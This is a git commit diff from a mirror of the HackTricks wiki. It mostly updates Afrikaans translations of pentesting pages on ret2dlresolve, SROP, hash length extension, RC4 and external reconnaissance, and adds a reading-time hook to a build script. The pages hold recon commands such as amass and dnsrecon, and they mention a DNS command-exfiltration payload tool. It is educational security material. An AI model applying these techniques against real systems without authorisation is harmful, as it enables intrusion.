mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente
This commit is contained in:
parent
f1bcd06205
commit
adb4e219cd
@ -69,6 +69,12 @@ def ref(matchobj):
|
||||
return result
|
||||
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
|
||||
return new_content
|
||||
|
||||
|
||||
def iterate_chapters(sections):
|
||||
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
|
||||
return
|
||||
@ -99,6 +105,7 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
content = json.dumps(book)
|
||||
|
@ -1,13 +1,10 @@
|
||||
# HackTricks
|
||||
|
||||
Reading time: {{ #reading_time }}
|
||||
|
||||
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logo's & bewegingsontwerp deur_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
> [!TIP]
|
||||
> **Welkom by die wiki waar jy elke hacking truuk/tegniek/iets wat ek geleer het van CTFs, werklike toepassings, navorsing en nuus sal vind.**
|
||||
> [!TIP] > **Welkom by die wiki waar jy elke hacking truuk/tegniek/iets wat ek geleer het van CTFs, werklike toepassings, navorsing en nuus sal vind.**
|
||||
|
||||
Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy moet volg wanneer jy pentesting** op een of meer **masjiene:**
|
||||
|
||||
@ -21,7 +18,7 @@ generic-methodologies-and-resources/pentesting-methodology.md
|
||||
|
||||
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheidsmaatskappy waarvan die slagspreuk is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheidsdienste** soos pentesting, Red teams en opleiding aan te bied.
|
||||
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheidsmaatskappy wie se leuse is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheidsdienste** soos pentesting, Red teams en opleiding aan te bied.
|
||||
|
||||
Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) nagaan.
|
||||
|
||||
@ -35,7 +32,9 @@ Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
{{#ref}}
|
||||
https://www.rootedcon.com/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -47,7 +46,9 @@ Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com
|
||||
|
||||
**Bug bounty wenk**: **meld aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin verdien bounties tot **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
{{#ref}}
|
||||
https://go.intigriti.com/hacktricks
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -60,7 +61,9 @@ Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=b
|
||||
|
||||
Kry Toegang Vandag:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -70,7 +73,7 @@ Kry Toegang Vandag:
|
||||
|
||||
Sluit by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener aan om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
- **Hacking Inligting:** Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
- **Hacking Insigte:** Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
- **Regstydse Hack Nuus:** Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte
|
||||
- **Laaste Aankondigings:** Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
||||
@ -82,11 +85,13 @@ Sluit by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bedien
|
||||
|
||||
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||
**Kry 'n hacker se perspektief op jou web toepassings, netwerk, en wolk**
|
||||
|
||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanval oppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik outomatiese exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
{{#ref}}
|
||||
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -97,11 +102,11 @@ Sluit by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bedien
|
||||
**SerpApi** bied vinnige en maklike regstydse API's om **toegang tot soekenjinresultate** te verkry. Hulle scrape soekenjins, hanteer proxies, los captchas op, en parse al die ryk gestruktureerde data vir jou.
|
||||
|
||||
'n Intekening op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir die scraping van verskillende soekenjins, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
|
||||
In teenstelling met ander verskaffers, **scrape SerpApi nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en funksies wat in die soekresultate teenwoordig is, in.
|
||||
In teenstelling met ander verskaffers, **scrape SerpApi nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en funksies wat in die soekenjinresultate teenwoordig is, in.
|
||||
|
||||
Huidige SerpApi kliënte sluit **Apple, Shopify, en GrubHub** in.\
|
||||
Vir meer inligting, kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\
|
||||
Jy kan **'n gratis rekening skep** [**hier**](https://serpapi.com/users/sign_up)**.**
|
||||
Jy kan **'n gratis rekening** [**hier**](https://serpapi.com/users/sign_up)**.**
|
||||
|
||||
---
|
||||
|
||||
@ -109,9 +114,11 @@ Jy kan **'n gratis rekening skep** [**hier**](https://serpapi.com/users/sign_up)
|
||||
|
||||
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Leer die tegnologieë en vaardighede wat nodig is om kwesbaarheid navorsing, penetrasietoetsing, en omgekeerde ingenieurswese uit te voer om mobiele toepassings en toestelle te beskerm. **Meester iOS en Android sekuriteit** deur ons on-demand kursusse en **kry geakkrediteer**:
|
||||
Leer die tegnologieë en vaardighede wat nodig is om kwesbaarheid navorsing, penetrasietoetsing, en omgekeerde ingenieurswese uit te voer om mobiele toepassings en toestelle te beskerm. **Meester iOS en Android sekuriteit** deur ons on-demand kursusse en **kry gesertifiseer**:
|
||||
|
||||
{% embed url="https://academy.8ksec.io/" %}
|
||||
{{#ref}}
|
||||
https://academy.8ksec.io/
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
@ -123,15 +130,17 @@ Leer die tegnologieë en vaardighede wat nodig is om kwesbaarheid navorsing, pen
|
||||
|
||||
WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken hulle doen dit alles; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Exploit Ontwikkeling, Sekuriteitskenners Uitsourcing en nog baie meer.
|
||||
|
||||
Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
|
||||
Nog 'n interessante ding oor WebSec is dat, in teenstelling met die bedryf se gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Benewens die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=Zq2JycGDCPM
|
||||
{{#endref}}
|
||||
|
||||
## Lisensie & Vrywaring
|
||||
|
||||
Kyk na hulle in:
|
||||
Kyk hulle in:
|
||||
|
||||
{{#ref}}
|
||||
welcome/hacktricks-values-and-faq.md
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Soos verduidelik op die bladsy oor [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) en [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries sonder Volle Relro sal simbole (soos adresse na eksterne biblioteke) die eerste keer wat hulle gebruik word, oplos. Hierdie oplosproses gebeur deur die funksie **`_dl_runtime_resolve`** aan te roep.
|
||||
|
||||
Die **`_dl_runtime_resolve`** funksie neem vanaf die stapel verwysings na 'n paar strukture wat dit nodig het om die gespesifiseerde simbool te **resolveer**.
|
||||
Die **`_dl_runtime_resolve`** funksie neem vanaf die stapel verwysings na 'n paar strukture wat dit benodig om die gespesifiseerde simbool te **resolveer**.
|
||||
|
||||
Daarom is dit moontlik om **al hierdie strukture te vervals** om die dinamies gekoppelde simbool (soos die **`system`** funksie) te laat oplos en dit met 'n geconfigureerde parameter aan te roep (bv. **`system('/bin/sh')`**).
|
||||
|
||||
@ -17,7 +17,9 @@ Gewoonlik word al hierdie strukture vervals deur 'n **begin ROP-ketting wat `rea
|
||||
|
||||
Kyk na hierdie video vir 'n goeie verduideliking oor hierdie tegniek in die tweede helfte van die video:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
Of kyk na hierdie bladsye vir 'n stap-vir-stap verduideliking:
|
||||
|
||||
|
@ -6,12 +6,12 @@
|
||||
|
||||
**`Sigreturn`** is 'n spesiale **syscall** wat hoofsaaklik gebruik word om op te ruim nadat 'n seinhandler sy uitvoering voltooi het. Seine is onderbrekings wat aan 'n program deur die bedryfstelsel gestuur word, dikwels om aan te dui dat 'n uitsonderlike situasie plaasgevind het. Wanneer 'n program 'n sein ontvang, pauzeer dit tydelik sy huidige werk om die sein met 'n **seinhandler** te hanteer, 'n spesiale funksie wat ontwerp is om met seine te werk.
|
||||
|
||||
Nadat die seinhandler klaar is, moet die program sy **vorige toestand hervat** asof niks gebeur het nie. Dit is waar **`sigreturn`** in die spel kom. Dit help die program om **terug te keer van die seinhandler** en herstel die program se toestand deur die stapelraam (die gedeelte van geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhandler gebruik is, op te ruim.
|
||||
Nadat die seinhandler klaar is, moet die program sy **vorige toestand hervat** asof niks gebeur het nie. Dit is waar **`sigreturn`** in die prentjie kom. Dit help die program om **terug te keer van die seinhandler** en herstel die program se toestand deur die stapelraam (die gedeelte van geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhandler gebruik is, op te ruim.
|
||||
|
||||
Die interessante deel is hoe **`sigreturn`** die program se toestand herstel: dit doen dit deur **alle CPU se registerwaardes op die stapel te stoor.** Wanneer die sein nie meer geblokkeer is nie, **pop `sigreturn` hierdie waardes van die stapel af**, wat effektief die CPU se registre na hul toestand voor die sein hanteer is, terugstel. Dit sluit die stapelpunt-register (RSP) in, wat na die huidige bokant van die stapel wys.
|
||||
Die interessante deel is hoe **`sigreturn`** die program se toestand herstel: dit doen dit deur **alle CPU se registerwaardes op die stapel te stoor.** Wanneer die sein nie meer geblokkeer is nie, **pop `sigreturn` hierdie waardes van die stapel af**, wat effektief die CPU se registers na hul toestand voor die sein hanteer is, terugstel. Dit sluit die stapelpunt-register (RSP) in, wat na die huidige bokant van die stapel wys.
|
||||
|
||||
> [!CAUTION]
|
||||
> Om die syscall **`sigreturn`** vanaf 'n ROP-ketting aan te roep en **die registerwaardes** wat ons wil hê dat dit in die **stapel** laai, by te voeg, is dit moontlik om **te beheer** al die registerwaardes en dus **te roep** byvoorbeeld die syscall `execve` met `/bin/sh`.
|
||||
> Om die syscall **`sigreturn`** vanaf 'n ROP-ketting aan te roep en **die registerwaardes** wat ons wil hê dat dit in die **stapel** laai, by te voeg, is dit moontlik om **alle** registerwaardes te **beheer** en dus **aan te roep** byvoorbeeld die syscall `execve` met `/bin/sh`.
|
||||
|
||||
Let op hoe dit 'n **type Ret2syscall** sou wees wat dit baie makliker maak om parameters te beheer om ander Ret2syscalls aan te roep:
|
||||
|
||||
@ -57,7 +57,9 @@ As jy nuuskierig is, dit is die **sigcontext-struktuur** wat in die stapel gesto
|
||||
```
|
||||
Vir 'n beter verduideliking kyk ook:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Voorbeeld
|
||||
|
||||
@ -132,8 +134,8 @@ target.interactive()
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64 bits, geen relro, geen canary, nx, geen pie. Eenvoudige buffer overflow wat die `gets` funksie misbruik met 'n gebrek aan gadgets wat 'n [**ret2syscall**](../rop-syscall-execv/) uitvoer. Die ROP-ketting skryf `/bin/sh` in die `.bss` deur weer `gets` aan te roep, dit misbruik die **`alarm`** funksie om eax op `0xf` te stel om 'n **SROP** aan te roep en 'n shell uit te voer.
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- 64 bits assembly program, geen relro, geen canary, nx, geen pie. Die vloei laat toe om in die stapel te skryf, verskeie registers te beheer, en 'n syscall aan te roep en dan `exit` aan te roep. Die geselekteerde syscall is 'n `sigreturn` wat registre stel en `eip` beweeg om 'n vorige syscall instruksie aan te roep en `memprotect` uit te voer om die binêre ruimte op `rwx` te stel en die ESP in die binêre ruimte te stel. Volg die vloei, die program sal weer lees in ESP aanroep, maar in hierdie geval sal ESP na die volgende instruksie wys, sodat 'n shellcode as die volgende instruksie geskryf en uitgevoer sal word.
|
||||
- 64 bits assembly program, geen relro, geen canary, nx, geen pie. Die vloei laat toe om in die stapel te skryf, verskeie registers te beheer, en 'n syscall aan te roep en dan `exit` aan te roep. Die geselekteerde syscall is 'n `sigreturn` wat registre sal stel en `eip` sal beweeg om 'n vorige syscall instruksie aan te roep en `memprotect` te loop om die binêre ruimte op `rwx` te stel en die ESP in die binêre ruimte te stel. Volg die vloei, die program sal weer lees in ESP aanroep, maar in hierdie geval sal ESP na die volgende instruksie wys, sodat 'n shellcode as die volgende instruksie geskryf en uitgevoer sal word.
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
- SROP word gebruik om uitvoeringsregte (memprotect) aan die plek te gee waar 'n shellcode geplaas is.
|
||||
- SROP word gebruik om uitvoeringsregte (memprotect) te gee aan die plek waar 'n shellcode geplaas is.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -8,9 +8,11 @@
|
||||
- **Nommer:** Genereer nommers van X tot Y met Z stap of ewekansig.
|
||||
- **Brute Forcer:** Karakterstel, minimum & maksimum lengte.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload om opdragte uit te voer en die uitvoer te verkry via DNS versoeke aan burpcollab.
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload om opdragte uit te voer en die uitvoer via DNS versoeke na burpcollab te verkry.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
@ -48,7 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
{{#ref}}
|
||||
https://codewithrockstar.com/
|
||||
{{#endref}}
|
||||
|
||||
## PETOOH
|
||||
```
|
||||
|
@ -4,22 +4,22 @@
|
||||
|
||||
## Samevatting van die aanval
|
||||
|
||||
Stel jou 'n bediener voor wat **onderteken** sekere **data** deur 'n **geheime** by 'n bekende duidelike teksdata te **voeg** en dan daardie data te hash. As jy weet:
|
||||
Stel jou 'n bediener voor wat **onderteken** 'n paar **data** deur 'n **geheime** by 'n bekende duidelike teksdata te **voeg** en dan daardie data te hash. As jy weet:
|
||||
|
||||
- **Die lengte van die geheim** (dit kan ook bruteforced word uit 'n gegewe lengterange)
|
||||
- **Die lengte van die geheim** (dit kan ook gebruteforced word uit 'n gegewe lengterange)
|
||||
- **Die duidelike teksdata**
|
||||
- **Die algoritme (en dit is kwesbaar vir hierdie aanval)**
|
||||
- **Die padding is bekend**
|
||||
- Gewoonlik word 'n standaard een gebruik, so as die ander 3 vereistes nagekom word, is dit ook
|
||||
- Die padding varieer afhangende van die lengte van die geheim+data, daarom is die lengte van die geheim nodig
|
||||
- Die padding wissel afhangende van die lengte van die geheim+data, daarom is die lengte van die geheim nodig
|
||||
|
||||
Dan is dit moontlik vir 'n **aanvaller** om **data** te **voeg** en 'n geldige **handtekening** te **genereer** vir die **vorige data + bygevoegde data**.
|
||||
|
||||
### Hoe?
|
||||
|
||||
Basies genereer die kwesbare algoritmes die hashes deur eerstens 'n **blok data** te **hash**, en dan, **uit** die **voorheen** geskepte **hash** (toestand), voeg hulle die volgende blok data **by** en **hash dit**.
|
||||
Basies genereer die kwesbare algoritmes die hashes deur eerstens **'n blok data te hash**, en dan, **uit** die **voorheen** geskepte **hash** (toestand), **voeg hulle die volgende blok data** by en **hash dit**.
|
||||
|
||||
Stel jou voor dat die geheim "secret" is en die data "data" is, die MD5 van "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Stel jou voor dat die geheim "secret" is en die data "data", die MD5 van "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
As 'n aanvaller die string "append" wil byvoeg, kan hy:
|
||||
|
||||
- 'n MD5 van 64 "A"s genereer
|
||||
@ -29,7 +29,9 @@ As 'n aanvaller die string "append" wil byvoeg, kan hy:
|
||||
|
||||
### **Gereedskap**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
### Verwysings
|
||||
|
||||
|
@ -1,11 +1,15 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
As jy op een of ander manier 'n plaintekst met RC4 kan enkripteer, kan jy enige inhoud wat deur daardie RC4 geënkripteer is (met dieselfde wagwoord) net met die enkripsiefunksie dekripteer.
|
||||
As jy op een of ander manier 'n plaintekst met RC4 kan enkripteer, kan jy enige inhoud wat deur daardie RC4 geënkripteer is (met dieselfde wagwoord) net met die enkripsiefunksie ontsleutel.
|
||||
|
||||
As jy 'n bekende plaintekst kan enkripteer, kan jy ook die wagwoord onttrek. Meer verwysings kan gevind word in die HTB Kryptos masjien:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -17,17 +17,19 @@ Dan is dit moontlik vir 'n **aanvaller** om **data** toe te voeg en 'n geldige *
|
||||
|
||||
Basies genereer die kwesbare algoritmes die hashes deur eerstens **'n blok data te hash**, en dan, **uit** die **voorheen** geskepte **hash** (toestand), voeg hulle **die volgende blok data** by en **hash dit**.
|
||||
|
||||
Stel jou voor dat die geheim "secret" is en die data "data", die MD5 van "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Stel jou voor dat die geheim "secret" is en die data "data" is, die MD5 van "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
As 'n aanvaller die string "append" wil byvoeg, kan hy:
|
||||
|
||||
- 'n MD5 van 64 "A"s genereer
|
||||
- Die toestand van die voorheen geinitialiseerde hash verander na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
- Die toestand van die voorheen geïnitialiseerde hash verander na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
- Die string "append" byvoeg
|
||||
- Die hash voltooi en die resultaat sal 'n **geldige een wees vir "secret" + "data" + "padding" + "append"**
|
||||
|
||||
## **Gereedskap**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -4,8 +4,12 @@ As jy op een of ander manier 'n plaintekst met RC4 kan enkripteer, kan jy enige
|
||||
|
||||
As jy 'n bekende plaintekst kan enkripteer, kan jy ook die wagwoord onttrek. Meer verwysings kan gevind word in die HTB Kryptos masjien:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,16 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Bate ontdekkings
|
||||
|
||||
> Jy is gesê dat alles wat aan 'n sekere maatskappy behoort binne die omvang is, en jy wil uitvind wat hierdie maatskappy eintlik besit.
|
||||
> Jy is gesê dat alles wat aan 'n maatskappy behoort binne die omvang is, en jy wil uitvind wat hierdie maatskappy eintlik besit.
|
||||
|
||||
Die doel van hierdie fase is om al die **maatskappye wat deur die hoofmaatskappy besit word** te verkry en dan al die **bates** van hierdie maatskappye. Om dit te doen, gaan ons:
|
||||
|
||||
1. Die verkrygings van die hoofmaatskappy vind, dit sal ons die maatskappye binne die omvang gee.
|
||||
2. Die ASN (indien enige) van elke maatskappy vind, dit sal ons die IP-reekse wat deur elke maatskappy besit word, gee.
|
||||
3. Omgekeerde whois-soektogte gebruik om ander inskrywings (organisasie name, domeine...) wat verband hou met die eerste een te soek (dit kan herhalend gedoen word).
|
||||
3. Omgekeerde whois-soektogte gebruik om ander inskrywings (organisasiename, domeine...) wat met die eerste een verband hou, te soek (dit kan herhalend gedoen word).
|
||||
4. Ander tegnieke soos shodan `org` en `ssl` filters gebruik om ander bates te soek (die `ssl` truuk kan herhalend gedoen word).
|
||||
|
||||
### **Verkrygings**
|
||||
@ -35,7 +34,7 @@ Jy kan **soek** op maatskappy **naam**, per **IP** of per **domein** in [**https
|
||||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
Ook, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomein-opsomming verskaf outomaties 'n samevoeging en opsomming van ASN's aan die einde van die skandering.
|
||||
Ook, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomein-opsomming aggregeer en som automatisch ASN's aan die einde van die skandering op.
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
@ -58,7 +57,7 @@ U kan die IP en ASN van 'n domein vind deur [http://ipv4info.com/](http://ipv4in
|
||||
### **Soek na kwesbaarhede**
|
||||
|
||||
Op hierdie punt weet ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheid skandeerders** (Nessus, OpenVAS) oor al die gasheer loods.\
|
||||
Ook kan jy 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **of dienste soos** shodan **gebruik om** oop poorte **te vind, en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop, te pentest.\
|
||||
Ook kan jy 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **loods of dienste soos** shodan **gebruik om** oop poorte **te vind en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop, te pentest.\
|
||||
**Ook, dit kan die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lysies kan voorberei en probeer om** dienste te bruteforce met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domeine
|
||||
@ -71,7 +70,7 @@ Eerstens moet jy soek na die **hoofdomein**(e) van elke maatskappy. Byvoorbeeld,
|
||||
|
||||
### **Reverse DNS**
|
||||
|
||||
Aangesien jy al die IP-reekse van die domeine gevind het, kan jy probeer om **reverse dns lookups** op daardie **IPs uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n dns-server van die slagoffer of 'n bekende dns-server (1.1.1.1, 8.8.8.8) te gebruik.
|
||||
Aangesien jy al die IP-reekse van die domeine gevind het, kan jy probeer om **reverse dns opsoekings** op daardie **IPs uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n dns-bediener van die slagoffer of 'n bekende dns-bediener (1.1.1.1, 8.8.8.8) te gebruik.
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
@ -81,7 +80,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
Vir dit om te werk, moet die administrateur handmatig die PTR inskakel.\
|
||||
Jy kan ook 'n aanlyn hulpmiddel vir hierdie inligting gebruik: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
|
||||
### **Reverse Whois (loop)**
|
||||
### **Reverse Whois (lus)**
|
||||
|
||||
Binne 'n **whois** kan jy 'n baie interessante **inligting** vind soos **organisasie naam**, **adres**, **e-posse**, telefoonnommers... Maar wat selfs meer interessant is, is dat jy **meer bates wat met die maatskappy verband hou** kan vind as jy **reverse whois soektogte deur enige van daardie velde** uitvoer (byvoorbeeld ander whois registrasies waar dieselfde e-pos verskyn).\
|
||||
Jy kan aanlyn hulpmiddels soos gebruik:
|
||||
@ -101,7 +100,7 @@ Jy kan ook 'n paar outomatiese reverse whois ontdekking uitvoer met [amass](http
|
||||
|
||||
### **Trackers**
|
||||
|
||||
As jy die **dieselfde ID van dieselfde tracker** op 2 verskillende bladsye vind, kan jy aanvaar dat **albei bladsye** deur **dieselfde span** bestuur word.\
|
||||
